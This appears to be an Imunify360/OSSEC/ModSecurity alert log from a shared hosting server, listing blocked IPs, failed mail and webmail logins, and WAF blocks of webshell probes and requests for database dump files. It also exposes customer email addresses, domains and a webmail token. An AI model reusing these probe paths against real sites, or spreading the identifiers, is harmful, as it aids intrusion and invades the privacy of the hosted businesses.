Jan 12 11:47:31 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.59.213.112
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=678166 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.81.101.54
country_id: 2017370
domain: mail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.fimco.com.my/cgi-bin HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 11:52:35 +0800] info [webmaild] 115.134.149.232 - ken@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.190.33.33
country_id: 3077311
description:
Jan 12 11:53:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.190.33.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 11:55:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57838: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-12 11:54:39 H=([45.144.212.242]) [45.144.212.242]:65031 F=<no_reply@admin.com> rejected RCPT <emma@agsaintifik.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 11:55:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57838: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 77.238.251.212
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-57.77.238.251.212||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 11:56:33 +0800] info [webmaild] 115.134.149.232 - enquiry@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 11:57:37 +0800] info [webmaild] 115.134.149.232 - enquiry@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 11:58:34 +0800] info [webmaild] 115.134.149.232 - enquiry@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.154
country_id: 3175395
description:
Jan 12 11:58:57 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.154
country_id: 3175395
description:
Jan 12 11:59:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.154 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 11:59:13 +0800] info [webmaild] 115.134.149.232 - enquiry@smartcable.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.233.70.101
country_id: 3865483
description:
Jan 12 11:59:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.233.70.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.83
country_id: 2510769
description:
Jan 12 12:00:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.249.40
country_id: 3469034
description:
Jan 12 12:00:40 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.249.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.222.209.134
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=541552 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 1.9.150.182
country_id: 1733045
description:
[2026-01-12 12:01:29 +0800] info [webmaild] 1.9.150.182 - jenwong@ms-chemicals.net "GET /cpsess5367919436/3rdparty/roundcube/?_task=logout&_token=5PocRfiCSgetsbbOaq9WGjh0A3VQfSpq HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 12:01:32 +0800] info [webmaild] 115.134.149.232 - enquiry@smartcable.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.10
country_id: 732800
description:
Jan 12 12:02:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.14
country_id: 2510769
description:
Jan 12 12:02:52 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.219.247
country_id: 294640
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=771120 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.141
country_id: 3865483
description:
Jan 12 12:03:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.165.242
country_id: 3469034
description:
Jan 12 12:04:47 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.165.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:05:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62579: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:05:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62594: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 199.45.154.159
country_id: 6252001
description:
2026-01-12 12:05:16 2446925 [Warning] Aborted connection 2446925 to db: 'unconnected' user: 'unauthenticated' host: '199.45.154.159' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.215.138
country_id: 933860
description:
Jan 12 12:05:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.215.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:07:00 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62692: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:07:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62693: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:08:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62707: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.243
country_id: 3175395
description:
Jan 12 12:08:31 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:10:00 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62725: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.221.50.37
country_id: 953987
description:
Jan 12 12:10:05 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.221.50.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:11:07 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62728: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.221.50.37
country_id: 953987
description:
Jan 12 12:10:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.221.50.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:10:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62726: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.252.168.4
country_id: 1269750
description:
Jan 12 12:10:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.252.168.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-01-12 12:10:30 dovecot_login authenticator failed for H=a4.ucndns.in [103.252.168.4]:39259: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 12:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52571: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.196.202.17
country_id: 3175395
description:
Jan 12 12:12:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.196.202.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.184.83.17
country_id: 6252001
description:
Jan 12 12:11:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.184.83.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.144.229.115
country_id: 1733045
description:
2026-01-12 12:11:11 dovecot_login authenticator failed for H=(desktop-9i8k9nq.local) [175.144.229.115]:51510: 535 Incorrect authentication data (set_id=accounts@evergrown.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.184.83.17
country_id: 6252001
description:
2026-01-12 12:11:14 dovecot_login authenticator failed for H=(h17.83.184.173.dynamic.ip.windstream.net) [173.184.83.17]:42288: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:11:24 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62729: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.196.202.17
country_id: 3175395
description:
2026-01-12 12:12:06 dovecot_login authenticator failed for H=([2.196.202.17]) [2.196.202.17]:57338: 535 Incorrect authentication data (set_id=mohamad.haznil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 12:11:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52572: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:13:08 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62738: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:13:14 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62738: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.12
country_id: 2395170
description:
Jan 12 12:13:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.231.142.218
country_id: 6252001
domain: www.gagasanteguh.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/database.sql||User:gagasanteguhcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 12:14:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:14:15 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62768: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.87.102
country_id: 3625428
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/finder/Iterator/SortableIterator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-12 12:15:48 H=([127.0.0.1]) [103.197.57.71]:39512 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.14.255.155
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/File HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.224.1.158
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/File/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.50.70.34
country_id: 1814991
description:
2026-01-12 12:16:56 dovecot_login authenticator failed for H=([111.50.70.34]) [111.50.70.34]:42848: 535 Incorrect authentication data (set_id=info@sutsb.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:16:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62851: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-12 12:16:22 H=([127.0.0.1]) [103.197.57.71]:35404 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.50.70.34
country_id: 1814991
description:
Jan 12 12:16:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.50.70.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.228.13
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-17.216.26.228.13||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 12:18:44 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.246
country_id: 226074
description:
Jan 12 12:19:41 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.183
country_id: 2300660
description:
Jan 12 12:20:02 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jan 12 12:19:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.235.148
country_id: 1269750
description:
Jan 12 12:19:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.235.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.183
country_id: 2300660
description:
Jan 12 12:20:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.234
country_id: 1269750
description:
Jan 12 12:20:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jan 12 12:21:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.234
country_id: 1269750
description:
Jan 12 12:21:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 206.162.251.112
country_id: 6252001
domain: www.cordage.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/db.sql||User:admincordage||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 12:23:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57855: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.234
country_id: 1269750
description:
Jan 12 12:22:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 12:23:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57856: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.40.201.195
country_id: 1269750
description:
Jan 12 12:23:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.40.201.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.74
country_id: 3469034
description:
Jan 12 12:23:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.36.234.156
country_id: 1835841
description:
Jan 12 12:23:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.36.234.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-01-12 12:23:24 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:47902: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.34.251
country_id: 3865483
description:
Jan 12 12:23:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.34.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:24:00 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62879: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.122
country_id: 3469034
description:
Jan 12 12:24:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:24:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62880: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:26:00 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62916: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:26:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62917: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/rpl.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.111.142
country_id: 226074
description:
Jan 12 12:29:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.111.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cert.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 12:30:25 sv3 pure-ftpd[2916974]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1047_PMR_AUG_Referral_edm/files/TC_AUGMGM.pdf


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/sliders/news.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 12:30:13 sv3 pure-ftpd[2916974]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 12:30:15 sv3 pure-ftpd[2916974]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.134.226.249
country_id: 3625428
domain: mssa.org.my
description:
